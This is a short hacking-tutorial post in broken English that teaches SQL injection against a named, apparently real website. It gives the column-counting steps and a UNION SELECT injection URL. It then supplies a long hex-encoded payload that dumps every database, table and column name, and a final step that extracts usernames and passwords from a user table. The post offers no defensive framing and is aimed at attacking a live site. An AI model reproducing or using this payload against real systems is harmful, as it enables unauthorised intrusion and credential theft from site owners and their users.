inject Website Using Sqli injection Code - Learn | Computer Trick'S

welcome to www.n0bz.com today i gonna tech you how to inject website using sqli injection using this sqli injection code we can see all table databases columns etc so lets start

Requirement

Hack bar

Vulnerability Website i have this one http://www.cgcym.org.ar/noticia.php?id=18

i hope you understand simple sqli injection how to check this its vuln or not and hope you know that how to find order and table numbers if you dont know please visit and watch previous tutorials :)

1. so now we need to find order i have already find it it has 9 order like

http://www.cgcym.org.ar/noticia.php?id=18 order by 9 (no erro)
http://www.cgcym.org.ar/noticia.php?id=18 order by 10 (error)

so next use union select command and find table number

2. http://www.cgcym.org.ar/noticia.php?id=-18+union+select+1,2,3,4,5,6,7,8,9--+-

3. copy this code replace 3 number and past it then click execute button

concat(0x3c63656e7465723e3c666f6e7420636f6c6f723d22726564222073697a653d22362220666163653d22696d70616374223e20496e6a6563746564204259206e30427a205465616d206e30427a2e636f6d203c2f63656e7465723e3c2f666f6e743e3c62723e2c76657273696f6e2829,0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema/**/.columns) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))

4. we need to find data , remove this code in 3 columns and write 'group_concat(us,0x3a,pw)' and in the url end write table name like usuarios and click execute button

first one is user and second one is password i hope you like this Thanks fro Visiting

Watch Video